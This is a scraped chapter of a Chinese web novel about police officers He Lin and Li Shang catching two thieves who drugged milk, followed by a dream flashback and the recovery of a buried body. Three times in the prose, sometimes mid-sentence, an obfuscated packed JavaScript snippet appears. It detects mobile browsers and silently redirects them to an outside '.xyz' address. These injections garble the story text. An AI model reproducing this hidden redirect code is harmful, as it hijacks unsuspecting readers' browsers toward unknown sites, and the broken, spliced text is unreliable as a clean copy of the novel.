郑队加了一句:“他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777721|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是老乡,我们问过他们的房东,这两名主犯租在一起,经常半夜出去,白天睡觉,嫌疑很大。还有,他们最近在和房东折腾想要提前退租,说是要回老家去。” 算着时间,郭木春的那盒牛奶很可能是这些人的最后一次作案,也许是因为出了人命,所以他们才想要回去避避风头。 “确定了这两个人以后,其他的调查就简单多了,我们很快又找到了四名嫌犯。” 贺临惊讶:“进展这么顺利?” “嗨!”郑对叹了一声,“这些人在软件平台上互关着呢,就像是葫芦娃救爷爷似的,查出来一个就揪出来了一串……” 贺临:“……” 黎尚把之前的监控截图照翻找了出来,递给了贺临。 贺临拿着证件照比对了一下,那名送过牛奶的,就是之前照片上的那个阴阳头盗贼,名叫范晓庄。 他果断道:“分开行动吧。老吴你和方觉盯着红姐,她没见过你们,比较好跟。你们仔细查查她,我和黎尚去便宜坊,帮郑队抓人。” . 便宜坊这片区域过去是两区一镇的交界处,因为交通便利,最初是片小商贩的聚集地,沿街都是两层楼高的门面房。 很多商贩为了做生意,把摊子摆得越来越靠近路中央,各种的私搭乱建也是层出不穷。让这里变成了一片杂乱差的小商品市场。 后来网络销售风靡,这种小市场逐渐荒废了,随着几次安全检查,这一片的很多店子关了,又成了廉价的出租屋。 政府一直想要拆迁,却因为各种原因怎么也拆不掉。 黎尚开着车往便宜坊的方向走,路况越来越复杂,他终于打开了导航。 贺临接入了反扒队的通信频道。 郑队正在里面做抓捕动员:“我们不急,先集合了再说。他们好像在一起聚会,我们这边已经派人在盯梢了。嫌疑人目前毫无察觉,绝对能够打个措手不及。” 他在群里发了图,标识了几个位置。 随后郑立阳还特别打来个电话:“贺队,你看我们的人呈包围之势,把他们围住。等下你们就守在前方的出入口,给他们来个瓮中捉鳖。” 贺临不想喧宾夺主:“抓捕你们有经验,一切按照你们的安排来。我们这边还有五分钟到位。” “别谦虚啊,我可听说贺队你有次一对六还大获全胜,这次正好给年轻警员们上下实战课。” 两位队长正在“友好交流”,郑队的语气忽然一变:“等等!我们这边有点情况,等下再和你说。” 贺临挂了电话,他们的车拐过了前面的弯儿就正式进入了便宜坊的区域,道路已经开始变得狭窄。 车正开着,忽然有辆电瓶车刷地一声从他们旁边的小缝里钻出来,差点蹭了他们的车。 电瓶车开得飞快,车后座上还载了一个人,两个人都没带头盔。 黎尚侧眸看了一眼,他反应迅速,当机立断,没走既定路线,一个刹车然后快速倒车,向着那辆车追去。 贺临感觉身体晃了一下:“怎么了?蹭到了?” 黎尚简短回复:“嫌疑人。” 贺临一惊,刚才一个照面他根本就没看清楚电瓶车上的人:“会不会是看错了?” 黎尚斩钉截铁:“不会!” 12.09 黎尚把车头一转,追向了那辆电瓶车。 贺临决定先问清楚,他再次接入了对讲频道:“你们那边什么情况?” 老蔡的声音传来:“刚才这伙人想溜,我们的行动提前了。现在从犯抓住了三个,但包围圈没围住,那两名主犯从后侧的窗户翻窗溜走了。” 这么说,黎尚刚才没有认错。 贺临往车窗外看了看,明白了问题所在。 也许郑队的包围圈在市区里管用,但在这种高低错落,地势复杂的地方,漏得像是个筛子。 不同的抓捕行动会根据地形不同应用不同的策略,这地方要是抓捕实战,那得算是地形复杂的巷战,简单来说,他们的指挥不行。 “老实点!”对讲那边传来了一声呵斥,还有着一些杂音,“快点快点,人往那边跑了。” 随后,对讲里又传来郑队气喘吁吁的声音:“贺队你放心,我们的人已经追出去了!” 贺临道:“知道了,我们在附近,看看能不能帮忙。” 那辆电瓶车拐过了两个弯,始终在他们的视线以内。 这里的道路多得像是蜘蛛网,又细又密。 很多路仅可一辆汽车通过,还好这个时间点,这里的车不多,黎尚的车速很快,几乎是贴着旁边的建筑过去。 往前追着,他们又急转了一个弯。 “慢点!”贺临感觉汗从后背上往出流,“从犯已经抓住了,够我们问话的。” 贺临之前看黎尚行事稳妥,没想到车开起来这么不管不顾。 以前方觉开车的时候,贺临总觉得他追捕时开得慢,恨不得自己亲自上手。可遇到了黎尚,他只想让他悠着点。 “我小心些,不会有事。”黎尚的回答肯定,手上的操作不停。 这话说得轻巧,做着却难。 在狭窄的闹市飙车,稍不留意就会撞上东西。 贺临的心悬了一分钟,发现警车并不是在莽撞地横冲直撞,黎尚的视力很好,他会看着一旁的立体地图,然后再结合现场的实际情况,计算出那些缝隙能不能让车通过。 他会注意路上的行人,也会小心避过障碍物。 关键是进行这些操作时,他整个人冷静到可怕。 贺临想,眼前这人不知是开车多少年的老司机,这种眼观六路耳听八方的敏锐绝对不是一朝一夕能练成的,手眼配合协调到了极点。 这种开车法,他还是以前在特警队的抓捕行动中见过。 可就算意识到了这一点,贺临依然是坐得有些心惊肉跳。 幸好在黎尚的操作下,他们和电瓶车之间的距离不断拉近。 这场追逐战似乎终于看到了一丝曙光。 眼见双方之间只剩几米,那辆电瓶车早已发现了有人在追他们,一转方向,往更加狭窄的路上钻去。 两辆车再度失之交臂。 黎尚没有硬跟,他的目光在地图上一扫,调转车头换了一条相对宽的路。 电瓶车在他们的前方失去了踪迹,黎尚车速不减,贺临问他:“你能确定方向吗?” 黎尚的神情格外严肃,回了他简单两个字:“预判。” 预判总是要先预再判。贺临还没来得及看清地图,黎尚的方向盘就又动了,他甚至选择的路线都不是直线,而是七扭八怪的复杂线路。 贺临奇怪,便宜坊地形复杂,他们又是第一次来,黎尚怎么能够断定对方会这么走?他问:“现在你是在往哪里开?” 黎尚没回答他,方向盘一打,车辆从一处缝隙里穿过,不差分毫。 贺临彻底被绕晕了,他还在愣神着,黎尚对他叫了一声:“扶稳!” 贺临下意识伸手一拉扶手稳住了身体,警车咯噔咯噔碾下了几阶楼梯,随后转弯,横着来到了另一条道上。 汽车开过了一个路口,在路的中间掉头。 黎尚刹车。 轮胎与地面摩擦发出呲的一声长响。 警车直接封住了一段路,随后稳稳停住。 短短的几分钟,贺临的后背都被汗湿透了。 “下车吧。”黎尚说着咔哒一声解开了安全带,那语气严肃,仿佛他才是带队的领导。 贺临跟上,他迈步跨出车门。 今天只是出来问话遇上了辅助抓捕,两个人身上自然都没带枪,贺临抽出了一根□□,想要递给黎尚:“会用吗?” 黎尚撇了一眼:“用不到。” 贺临:“……” 有家伙在手总比没有好,对于没怎么参加过抓捕的新人来说,更是能够壮胆。可这东西拿着的确有点碍事,贺临把甩棍扔回了车里。 他们说话之间,电瓶从侧面驶来,正好狭路相逢,被他们的警车堵在了当街。 黎尚的预判是准确的。 离近了,贺临终于看清,那两人坐在前面的是那位短发阴阳头的男人,手脚和脸上被太阳光晒得黝黑,偏偏额头上的一块捂得雪白。 后座的则是个白净的细高个儿,戴了眼镜,这两人正是之前警方锁定的两位主要嫌疑人。 贺临还记得之前看过的资料,阴阳头名叫范晓庄,那个眼镜名叫宋清。 电瓶车停在了一条小路中间,他们想要掉头已经来不及了。 贺临喊了一声:“追!” 黎尚跟着他冲了出去。 车上的两人一看这阵仗弃车而逃。 他们常年生活在便宜坊附近,对周边的环境都很熟悉,跑出去不远,就往那些自建房的二层冲。 这里原来都是门面房,层高比一般的民居略高,二层有五米多将近六米,上面搭建了民宅和平台,房子建得紧密,很多台子之间相隔不远,胆子大的可以跳过去,就像是个天然的跑酷场所。 那两名嫌犯不想被抓,横了心不要命般地往前冲。他们试图给抓捕增加难度,时不时把一些纸箱木条往后丢,还弄洒了一袋晾在天台上的豆子。 贺临以前跑四百米障碍是强项,基本功没丢,这点阻碍对他来说是小意思,一个健步跨过,接着一个翻身卸力。 让他有点意外的是,黎尚也紧随其后,而且他跑得极其轻巧,几乎没有什么声音。 转眼之间,他们连续跳过了几个平台,追出去百米。 那两人逃到了一个稍大的平台上。有人在这平台上养鸽子,顿时鸽群展翅飞起。 跑在后面的范晓庄看到了平台上晾晒衣服的钢丝和铁架,甩过去想要阻拦他们。 贺临脚步一顿,伸手扶住铁架,上面的衣服差一点落到地上。 黎尚仰面,腰往下弯,躲过了迎面而来的钢丝细绳。 他躲避过后,默契地去追宋清。 宋清眼看要被追上,他身侧是一间天台上搭建出来的储物间,上面有一扇窗户,他单手握拳用力一砸,哗啦一声,玻璃碎了。 黎尚反应迅速,伸手挡脸,侧身躲过了飞溅的玻璃碎屑。 宋清伸手捡了一块长尖形的玻璃,当做武器,一边前刺一边高喊:“你他妈别过来……” 黎尚目光一寒,速度极快,出手击向他握着玻璃的手…… 与此同时,贺临冲到了阴阳头范晓庄的面前,范晓庄的身形比贺临低上一些,但是更为壮硕。他劺足了劲儿,抬腿踢向贺临。 贺临一个闪身随后伸手,看上去像要用手格挡他的进攻,其实却是一招声东击西。 范晓庄还来不及应变,就被贺临牢牢抓住了右手的手腕。他的脸色一边,想要抽手,手就像是被铁钳夹住,捏得生疼。 贺临没给对方反应的机会,直接就是快准狠的抓腕砸肘,这是个主动进攻的经典动作。 贺临的单手抓住对方的手腕,劲腰一转,往前一带,趁着对方失去重心,另一只手的手肘往下压下,结结实实地砸到了短发男人的背上,发出砰的一声。 范晓庄发出了一声哀嚎,弯腰差点吐出来。 贺临拧动他的手腕,把他的右臂背在身后,整个动作干净利索,完全不带任何花架子,几秒制敌,把他按在了地上。 贺临将人放倒,伸手把腰后别着的手铐取了出来,铐在男人的手腕上。 他还在担心另一边的战况。 贺临一抬头,余光看到宋清手里的玻璃已被夺下,他跑到了天台的边缘,身形摇晃了一瞬,随后纵身一跃,消失在了天际。 黎尚也跟了上去,他单脚在天台边缘一点,身形轻巧,毫不犹豫地跟着跳了下去。 一时,天台的边缘空了,只余几片浮动在空中的鸽羽,缓缓降下,预示着这里刚刚进行过一场恶战。 看到这一幕,贺临的心里猛然一空,一种强烈的失重感传来。 他连忙反手把范晓庄的手铐在了一旁的管道上,急跑了几步来到平台边上向下望去。 五米多的高度说高不高,说低不低,如果不会卸力,很容易腿脚骨折。 下方,黎尚蹲着,宋清躺在地上。 看到了贺临,黎尚面色淡然地站起身,抬手给他比了个任务完成的手势。 贺临这才呼出一口气,低头喊道:“没事吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782078|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “他可能腿摔伤了。”黎尚向他补了一句,“是他自己跳下来的……” 贺临低骂了一句,他没硬往下跳,找了一旁的楼梯哒哒哒跑下来,剩了几节纵身一翻,落在了不远处。 宋清的眼镜碎了,痛叫着躺在地上,一直在哼哼。 贺临径直走到黎尚面前,他的个子比黎尚高上几厘米,低头质问他:“刚才为什么跟着跳下来?” “这里不算高。”黎尚的回答声音平静,“我怕他跑了。” 这理由真是理直气壮,贺临反问他:“五米多的两层楼顶不算高,那多高算高?” 黎尚眉头轻皱,沉默了,但是他感觉到了贺临的怒意,没说话。 贺临弯腰低头检查了黎尚一番,手脚没骨折,看起来没受什么伤,他责怪道:“抓住他是迟早的事,我还在呢,轮不到你在这里呈这没必要的英雄。” 黎尚作为新人,配枪和手铐还没派发下来,贺临拿出了备用手铐,准备把宋清也拷上。 他忽然发现,宋清的脸上鼻青脸肿,右手的手臂软软垂着,不知道是不是骨折了,男人痛苦地躺在地上,不停低吟。 贺临发现,这些伤中有些不像是从这么高坠下形成的。他皱眉问:“他这胳膊……” 黎尚简单道:“刚才他拿了块碎玻璃,我怕伤到人,把他的胳膊卸了。” 贺临:“……” 他似乎有点明白宋清刚才为什么非要跳楼了。 感觉到了贺临的怒意增加,黎尚蹲下身,伴着宋清的不断哀嚎,一拉一送,咔咔两声,干净利索地给他把脱臼的手臂接上了。 贺临:“……” 黎尚抬头看他:“没事,我会接。” 贺临倒抽一口凉气,脑子里记起了一些什么,让他觉得自己的胳膊也在跟着疼。 . 贺临把宋清铐好,又把上面的范晓庄押了下来,等着郑队长来接人。 不多时,反扒那边的人到了,又是对他们千恩万谢。 贺临不想当着外人的面教训下属。 等郑队把那两人押走,他们把警车开到了路边。贺临终于忍不住开始严肃批评:“刚才的动静太大了,你这阵仗,又是飙车又是跳楼的,被人拍下来还以为是在抓什么通缉要犯呢!” 黎尚略一迟疑答道:“抓人自然要全力以赴。” 贺临道:“不许那么开车了,抓捕的时候也要注意方式。” 黎尚眉头轻皱,他对贺临现在的逻辑不太理解,简单回顾了一下,刚才他没有一个动作是多余的,这是最快速最直接的方式。 但是他给贺临队长的面子,沉默了片刻还是答了一声:“知道了。” 说完后,黎尚身上刚才抓捕时的那股狠劲儿消失不见,低头轻咳了几声,疲惫地眨了下双眼。 贺临心里咯噔一下:“怎么脸色不太好?” 黎尚的脸上染上了一丝白,是那种看不见血色的苍白,连着唇色都淡了几分,他轻轻摇摇头道:“可能太久没剧烈运动了。” “那刚才还跑那么快?”贺临道,“车我来开吧。” 还不等换位置,贺临忽然道:“等下。” 他不再说话,定定地看向黎尚。 黎尚眉头轻皱,贺临忽然凑近,眼神更为专注,他轻声道:“别动。” 车厢里太安静了。 黎尚的身体僵住了,他咽了一下唾沫,喉结轻动,眼睫垂落下来,避开了贺临的目光。 那表情竟然有点视死如归,贺临感觉到了他的怪异,反问他:“你怕什么?”他伸手迫使黎尚的脖颈微侧,指着他的颈侧问,“你这里划破了,不疼吗?” 白皙的脖颈上,多了一道两厘米长的血痕,大概是宋清打碎玻璃时被弄伤的。鲜血染红了衣领,血已经有些凝住了。 黎尚这时才感觉到了疼,他的身体放松下来,想要伸手去擦。 贺临啪地一声打落了他的手:“也不怕伤口感染?”说着话,他从一旁的书包里娴熟地抽出一片酒精棉片,撕开给黎尚擦了擦,又贴上了一片创可贴。 黎尚抬眸看他,若有所思地用手指轻轻婆娑着脖子上的创可贴。 两人下车换了位置。 黎尚坐在副驾上眉头轻皱,默不作声,仿佛刚才闹市飙车,追打逃犯,卸胳膊,跳楼那些危险行为完全不是他做的。 贺临坐在驾驶位,长出了一口气。 他想了想,还是觉得刚才的处罚太轻了,又严肃地补了一句:“回去写个八百字的检查,下周交上来。” 13.10 天宁特警训练基地。 烈日炎炎的训练场上,目光所及之处都是明晃晃的,铁架子被晒得滚烫,所有的东西被照得快要烧起来了。 贺临看向站在他对面的男人,那人的身高足足有两米一几,比他还高了半头,保守估计体重得有两百多斤,一身的腱子肉,满是力量感。 尽管贺临在射击和技巧性的考核中领先于对手,男人却在力量训练一个项目上和他拉平,到最后只能在格斗上决一胜负。 他们之间的胜者将能在特战选拔魔鬼周中,获得自选队伍和加分等优待。 两人之间身高体重相差悬殊,看好贺临的人并不多。 教官一喊开始,贺临就毫不犹豫地冲了上去,脸上毫无惧色。 他选择了对方的脖颈作为攻击目标,大块头因为体型大动作会减缓,身体有肌肉覆盖,脖子却和普通人一样缺乏防护。 贺临侧击插喉,打了对方个措手不及。 一招得手以后,他的双手直击男人肋下。可其实那只是一招声东击西,对方伸手防护,扑了个空。贺临用一招侧鞭腿,又快又狠地踢向了男人的脖颈,顿时他的脖子处青紫了一片。 大块头正要反击,贺临却在这时又打出了一拳,砰的一声击中了男人锁骨上方的凹陷处。 这地方有气管和血管,尽管贺临留了力,对方还是觉得呼吸一抑,一时站在原地,被他连续打了几拳。 贺临的身形更为灵活,一直在绕着大块头游走,时不时给出攻击。 很快,大块头被完全激怒了,想要使出绝招抱摔将他摔倒,贺临却等的就是这个机会,他一招蟒蛇绞,双手用力如同蛟龙一般控制住了男人的身体。 男人轰然倒地,整个地面好像都在随之颤动。 他刚想再站起来,贺临却绕到了他的背后,双手勒住了男人的脖颈。 随着贺临的双臂勒紧,大块头抓住了他的一只手,他旋转身体,故意往地上倒去,想要把贺临甩开。两人一同倒下,贺临的肩膀先行着地,被男人故意压在下面。关节处一痛,贺临咬牙没有松手。 他的双腿用力,缠住对方的身体,更是用另一只手疯狂勒紧了对方的脖子,脑子里只剩下胜利一个念头。 大块头缺氧,终于体力不支松开了手。 贺临打滚起身,膝盖下压,抵住了男人的胸口,随后用另一只还能动的手挥拳打向他的头脸。 大块头被他打得鼻青脸肿,贺临的身上也挨了几下。 这场缠斗持续了几分钟,对手终于认输。 格斗赛以贺临胜利告终。 等贺临喘息着从大块头的身上爬下来,这才意识到他的肩膀脱臼了。 贺临还是第一次胳膊脱臼,那是一种不同于血肉受伤的神经疼,一跳一跳的,似乎有什么东西直接连着心脏和大脑,打电钻似的往里钻。 贺临咬着牙,没吭一声。 这伤得不是时候,比起伤痛,他更担心选拔赛无法参加,如果今年不行,恐怕要到来年才能报名。 训练营的队员们围拢过来,七嘴八舌地争着要送他去医院,贺临疼得一时站不起来,有人去借轮椅,还有人说应该抬担架来。 他被太阳照得有点中暑,加上围着他的人多,一时听不清教官的安排。 随后人群让开了一条路,有个人走近他,蹲下身来。 他不知道那人是谁,什么身份,直觉判断应该是位领导。他们的教官都毕恭毕敬地站在旁边,连句话都不敢插。 那人穿了一身训练作战服,声音冷清:“是这只手吗?” 贺临有一种没来由的信任,把受伤的那只手送了过去,仅仅是略微抬起,肩膀处又是一阵疼。 男人活动了一下他的手腕,然后在他的肩上探了探:“我数一二三,然后帮你复位。” 贺临放松下来,心里燃起了曙光,他在心里跟着默数:“一……” 男人根本没数。按着贺临肩膀的手干净利索地一拉一扯一挂,一阵尖锐的痛袭来。 那感觉,就像是肩膀忽然中了一枪。 贺临全无防备地艹了一声,另一只手紧紧捂住肩膀,眼前都是黑的。 疼痛击垮了理智,那个瞬间,他心里想的:“骗子!”这是哪里来的江湖医生,他的胳膊估计完了。 下一秒,男人起身道:“好了。” 随后他就潇洒地转身离去。 等那阵疼痛过去,贺临动了动手臂,真的能够抬起来了…… . 贺临睁开双眼,四周的阳光褪去,取而代之的是一旁桌上的一盏小夜灯,亮着淡淡的橙色的光。 他活动了一下自己的手,肩膀没有什么问题。 现在是深夜,调查科的值班室里非常安静。 贺临脑子里的思维这时才跟上。 他做梦了,一定是因为之前看到黎尚给别人上胳膊他才做了这个梦。 梦里的一幕是过去发生过的,那件事在他进入龙炎特战之前。 当时胳膊被接上的一瞬,他是真的很气愤,那种愤然感甚至延续到了刚才的那个梦里。 后来贺临平静了下来,又觉得应该去谢谢那个人。 那人纯粹是为了帮他,一旦等他做好了准备,肩膀就绷起来了,他没反应过来,同样他的肌肉也没反应过来,让他措手不及才更容易复位。 可惜当时他疼得都快晕过去了,连声谢谢也没来得及说,后来他去过医院,稍微好些以后问自己的队友那人是谁,朋友们都说不认识,没见过。 伤情因为处理及时,他只修养了半个月,随后慢慢就康复了,没有耽误选拔的事。 . 伴随着时间推移,贺临的思路逐渐清晰起来,值班室墙上的时钟显示,现在是凌晨五点半。 距离他们抓捕到那几名“牛奶大盗”已经过去了两天。 这两天老吴和方觉一直都在跟着万红,她上午会上班,下午会在各处逛,晚上会去打麻将,那条线没有查到太多的线索。 倒是反扒队这边进展顺利,贺临带着黎尚也参加了几场审讯,连续两天的审问击垮了那些人的心理防线,逐渐撬开了他们的嘴。 昨晚,郑队再次夜审了那一伙人,为了防止有突发情况,贺临也跟着值了个夜班。 这间值班室靠墙的两侧是两张单人床,中间是过道,有点像是旅馆的双人间。 值班室里除了他,还有主动要求留下来加班的黎尚。 此时的黎尚醒着,他正趴在隔壁的床上,手里拿着笔,面前有个本子。看贺临坐起身,他单手托着下颌看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786676|156800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过去:“你做噩梦了?” “做梦了,不过不算是噩梦。”贺临睡不着了,他问黎尚,“你怎么没睡?” “睡醒了。”黎尚顿了一下道,“检查写得不够好,我起来改一下。” 贺临:“啊?你真写了?” 那个检查他本来也是在气头上随口说的,他气的是黎尚当时为什么不听话。这事如果不提,拖一拖也就过去了。 现在黎尚这么认真,他忽然觉得好像他也没犯什么大错。 贺临的心头浮上来点愧意,要是黎尚真的交上来一篇熬夜写的声情并茂的检查,他反而觉得是自己太过严厉了。 黎尚一副看傻子的眼神看向他,合拢了面前的本子,他淡然回答:“我骗你呢,检查我没准备写。我睡不着,搜搜最近的新闻。” 贺临:“……” 刚才的歉意顿时塞在了喉咙里,这是什么“胆大包天”的下属? 黎尚仿佛早就料到了这一幕,继续解释了一句:“我怕我写了检查,你以后想起来后悔,所以就没写。” 贺临忽然有种,等会,咱俩谁是领导的错觉。 这人,怎么和领导说话呢? 什么叫做为了他不后悔? 贺临的嘴角抽动,真想反讽一句:“呵呵,你好贴心哦。”随后他忍住了。 这么几天接触下来,他已经发现,黎尚的乖顺似乎只是在表面上,他做很多事,只是他愿意,他不想做的,别人一点都勉强不来。 骨子里他好像根本就驾驭不了这名太过优秀的下属。 黎尚完全没在意贺临内心里的五味杂陈,起身穿了鞋去倒水。 借着橙色微光,贺临看向他。 黎尚的个子虽然比他略低,但是也有一米八三左右,站在人群里绝对是高的。他的骨架不大,背影看上去有些纤瘦,特别是从背后看时,肩膀微宽,腰却很细,甚至,有点太细了…… 睡衣有点薄,他人又瘦,光一打过来就透了。贺临所在的这个角度可以看到,从他的双肩往下,一根脊骨绵延,串起了背后微微隆起的蝴蝶骨和细腰下一对若隐若现的腰窝。 看着这一幕,贺临的心里翻腾,忽然也有点口干舌燥。 他又想到了黎尚的诸多好处,他在其他方面真的是无可挑剔,工作完成得漂亮,推理的时候能够说到要点,和他心有灵犀,干起活来任劳任怨,早到晚走,这会还是主动留下来陪他加班。 贺临的气消了,算了,不写就不写吧,他也不喜欢那些形式主义。 人无完人,黎尚只是偶尔脾气倔了点,以后估计要换个法子,才能让他听话。 想到此,他自己给自己找了个台阶下:“写不写无所谓,关键是以后别再做那些危险的事了。” 听到了他的话,黎尚嗯了一声,反过来安慰他道:“我有分寸的。” 平时做事,黎尚总是不紧不慢,自然而严谨,仅仅是一个倒水的动作,就透着一股淡然与矜持。 他拎着水壶的手骨节分明,手指修长,泛着冷白,被灯光一打,像是件艺术品。 望着他的背影,贺临忽然心里猛跳,大脑里又传来刺痛,他哑声问:“黎尚,我记性不太好,我们以前见过吗?” 听到了贺临的问话,黎尚的动作明显一僵…… 14.11 凌晨,失踪调查科值班室内。 黎尚背对着贺临,把水杯缓缓放下,随后回答:“你不认识我,那就是没有。” 下一秒,他端起水杯,转过身低头喝着,眼睫垂落下来,看起来神色如常。 贺临想,也是啊,就算是因为受过伤,记忆有点混乱,但是黎尚这样优秀的人,如果见过,他应该多少会有点印象。 下一秒,值班室的门被人砰砰敲响。 黎尚走过去开了门,郑队和老蔡神采奕奕地站在门口,他们两个都在一种亢奋之中,就是眼睛微红,眼下带着黑眼圈,像是一夜没睡。 看来,反扒队的审讯已经有了最终结果。 老蔡道:“贺队,我们审得差不多了,主犯都招了。” 贺临问:“郭木春找到了吗?” 郑立阳:“问出地点了,被埋尸在城西的荒地里。” 贺临去拿放在凳子上的衣服起床:“辛苦了,我们一起去找下。” 黎尚的动作更快一些,迅速去洗手间里洗漱换了衣服,穿上鞋来到了门口。 郑立阳等着他们出来,一边走一边对他们道:“这次多谢你们,我们反扒队多少年没摊上这样的大案子了,要是没有你们的帮忙,不知道要查多久。” 贺临问:“那些人的动机是什么?” “嗨,和我们前期分析的差不多,失业后心理失衡,看准了片区内的独居者。”说到这里,郑队回忆着,“据口供说,他们没想伤那些人的性命,他们犯的最后一起案子就是郭木春的案子,是个意外。” 贺临:“意外?” 郑立阳继续说:“反正嫌疑人是这么说的,那天下午范晓庄踩过点以后,晚上过去就发现这男人死在了客厅里的地上。宋清进来看到了死人,顿时就吓坏了,他认为可能是药物过敏或者是引起心脏麻痹导致了男人的死亡。范晓庄当下决定把尸体运走,进行抛尸,掩盖事实。” “他们简单打扫过现场,然后一伙人连夜把尸体用行李箱运走。” “出了人命案子,那些人也慌了。有人觉得是宋清的过失,不愿意担责,宋清却说自己是为了所有人。后来他们争执不下,最终把尸体运到了城西,挖了个坑埋了。” . 西郊处有一片大荒地,地广人稀,这里还有过去的几条废弃铁路。 贺临和郑立阳带队,技术和法医都到齐了,他们还专门牵了两条警犬,连夜押着范晓庄过去寻找尸体。 到了目的地附近,范晓庄有点摆烂:“我们当时就到了这里,太慌张了,不记得具体埋在哪里。不过挺匆忙的,应该埋得不深。” 郑立阳废了半天口舌,看实在问不出来,转头道:“大家开搜吧。” 十几个人开始进行地毯式的搜查,漆黑的荒地之中,手电筒来回照射着。 黎尚默不作声地独自搜寻,前方有一小片坟地,地面上是一个一个鼓起来的小土包,寒风阴冷,远处有其他人的人影晃动,记忆深处的一幕似乎又在脑海之中重现,他缓缓顿住了脚步。 空气中有一种奇怪的味道,随后他发现了地面上有些新土的痕迹。 黎尚寻着味道一直走到了一个土堆旁,他用带着手套的手扒拉开上面的沙石,下面顿时露出了一张腐烂的人脸。在黑暗之中,难以分辨五官。 在那个瞬间,黎尚的身体像是被钉住了一般,双眼紧盯着泥土里的人。记忆闪回,他生怕看见无数次出现在噩梦里的脸。 可他的动作没停,更多的尸体显露出来,他仿佛置身于幻境之中,记忆和现实中的那两张脸重合了…… 黎尚的身体不可抑止地发抖,额头冒出冷汗,腐尸的味道飘散,胃里翻腾起来,他用力地用指甲扣住手心,试图用疼痛将自己从噩梦里叫醒,可是眼前的画面却逐渐清晰,梦里走不出的场景,此时此刻依旧困着他。 正当黎尚的恐惧快要到达临界点的那一刻,一只温热的手搭在了他的肩膀上,黎尚猛地转头,他看到了贺临,一时觉得有些恍惚。 贺临的手还搭在黎尚的肩膀上,甚至安抚性地拍了拍他,又回身冲着那些人喊:“找到了!” 一众法医和刑警纷纷向着这个方向奔了过来。 黎尚被贺临拉了一下才站起来,他的身体还在颤抖,低着头不肯再看尸体一眼,甚至也不敢再多看向贺临,生怕两个人的位置突然对调,自己的情绪当场崩溃。 黎尚低头摘下破损的手套,用力搓着满是泥土的手指,调整着乱七八糟的呼吸,他忽然发现了自己的无能。 这两年来,他以为做了这么多改变,可以走出来,可以重新面对贺临。 但是土坑边上发生的一切犹如迎头一棒,他发现,他走不出来。 贺临看黎尚一直缩着身子发抖,还以为他冷,上前一步说道:“我就看你出来得急,衣服穿少了吧?” 黎尚:“……” 他不敢说话,怕一说话,自己的声音会颤,甚至会因为过度紧张而直接吐出来。 贺临道:“那就是害怕了?” 还没等黎尚给出反应,一件带着体温的外衣披在了他的身上,黎尚感觉整个人像是被突然拥入了一个熟悉的怀抱,骤然遇热的身体打了个哆嗦。 贺临连黎尚的反应都没看,只留给他一个背影:“穿着吧,来自领导的庇护。” 众人七手八脚地,终于把尸体又挖了出来。 一位法医检查了一下,开口道:“运气不错,保存得挺完整。” 现场检查完后,尸体被放入裹尸袋,上了运尸车。 他们又跟着车队回到了法医中心。 在高楼林立的市局里,法医中心是整个院子里最为低矮的一栋,整个建筑只有两层高,地下还有一层地下室。这里是市局里最为偏僻也最为神秘的角落。 刚走近,就能听到一种嗡嗡声,那是法医中心里几个常年开着的巨型排气扇发出的声音。 就算开了再多的灯,凌晨来到这种地方,也总让人觉得阴森森的。 法医们推出来一辆带轱辘的担架车,把尸体运了进去。 黎尚走在最后面,贺临招呼他:“过来认认门,以后少不了要和法医打交道。” 黎尚这才快走了几步,和他并排而行。 一走进法医中心,就能够闻到一股味道,那是淡淡的,腥甜的血味,怎么擦,怎么抽也无法消除。 黎尚对味道挺敏感,上次他闻到类似的味道还是在医院的ICU里,这里的味道比那边还要独特浓烈一些。 他想起了菜场里的生鲜区,养鱼摊有一种味道,猪肉和家禽摊也有不同的味道,法医楼也是一样,好像是人类的骨血已经融入到了这栋建筑里。 法医中心里的设备还挺新的,临近走廊的一面有着大大的透明观察窗,那具尸体很快被运到了二号法医室,平躺在解剖床上。 一名高个子法医已经做好了准备,换上了衣服,冲他们挥了挥手,然后走到门口打开门:“解剖还没开始。你们可以先进来看看情况。” 解剖室里比外面低了几度。 黎尚观察了一下门里的值班表,这位应该是法医部的主任尹向荣。 尹法医看起来三十多岁,蓬松的头发微长,有着令人艳羡的发量,刘海一直过了眉毛,带一副金丝眼镜,他把所需的解剖器材整整齐齐由小到大排成了一排,认认真真地洗手,然后带上薄薄的奶色手套,一套动作非常娴熟,甚至优雅。 给他做助手的是位年轻的女法医,短发,人挺瘦小的,但力气很大,能够一个人拖动尸体。 就算是有抽气扇的存在,屋子里还是有种浓烈的尸臭味。 贺临对此毫不在意,和那位尹法医交流着关于牛奶的问题以及可能的死因。 